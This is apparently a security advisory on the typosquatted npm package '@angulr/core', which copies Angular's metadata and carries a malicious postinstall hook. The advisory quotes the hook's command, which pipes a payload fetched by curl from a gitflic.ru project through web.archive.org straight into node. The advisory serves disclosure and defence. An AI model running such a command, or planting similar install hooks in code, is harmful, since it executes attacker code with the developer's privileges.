Malicious code in @angulr/core (npm)

Details

**Severity:** Critical

**Affected versions:** `= 22.2.1`

## Source: amazon-inspector (c24dfd4b0a686b9056ff662e6fee53edfe23c7a94a5edf93fb4cace176216518)
The npm package `@angulr/core` masquerades as Angular's `@angular/core` by cloning its package.json metadata (description 'Angular - the core framework', author 'angular', repository angular/angular, ng-update packageGroup) while shipping a hostile `postinstall` script. The postinstall hook runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js |... node`, piping an unpinned, remotely fetched JavaScript payload directly into Node at install time. The destination is a personal `hellscripter` project on gitflic.ru fronted via web.archive.org, unrelated to Angular's publisher. Any developer running `npm install @angulr/core` executes attacker-controlled code with the installer's privileges, with no integrity check and no pinning.
